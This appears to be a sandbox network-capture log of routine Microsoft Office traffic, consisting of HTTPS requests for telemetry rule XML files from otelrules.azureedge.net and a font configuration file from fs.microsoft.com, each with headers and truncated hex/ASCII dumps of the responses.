2024-11-15 08:55:30 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	49837	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:31 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-15 08:55:31 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=201011 Date: Fri, 15 Nov 2024 08:55:31 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-15 08:55:31 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:31 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:31 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 4df37937-b01e-003d-35ab-2bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085531Z-16547b76f7flf9g6hC1DFWmcx80000000ag00000000042bc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:31 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:31 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 926299b0-201e-0096-47af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085531Z-1866b5c5fbb9m92fhC1DFWwu78000000013000000000bsgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:31 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:31 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:31 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: beaf6906-201e-0033-4640-36b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085531Z-1866b5c5fbb9ls62hC1DFW4k2s000000016000000000595x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:31 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:31 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:31 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:31 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 14be5296-801e-008c-31af-367130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085531Z-16547b76f7ftnm6xhC1DFW9c8c00000000r0000000004br9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:31 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:31 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:31 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 29f76c25-201e-0000-6fd2-2ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085531Z-16547b76f7fcrtpchC1DFW52e80000000n1g0000000011e8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:32 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:32 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 311bbf91-201e-006e-1d26-37bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085532Z-164f84587bf2rt9xhC1DFW8drg00000000v000000000a2v9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:32 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:32 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:32 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 7208895d-401e-0047-32a2-348597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085532Z-1866b5c5fbbstkfjhC1DFWhdyg000000014g000000006r4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:32 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:32 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:32 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085532Z-16547b76f7fgvq8chC1DFWhd2w00000001qg000000003rxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:32 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:32 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 1deecc73-401e-0029-32d2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085532Z-16547b76f7fd4rc5hC1DFWkzhw000000018000000000gb0e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:32 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:32 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: e1e647d4-d01e-0028-2386-367896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085532Z-164f84587bfghdt4hC1DFWu5nn00000000x0000000003sn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:35 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:35 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: e670145d-b01e-003d-3cc7-36d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085535Z-164f84587bfpc2cvhC1DFW7gdw00000000vg0000000093nk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
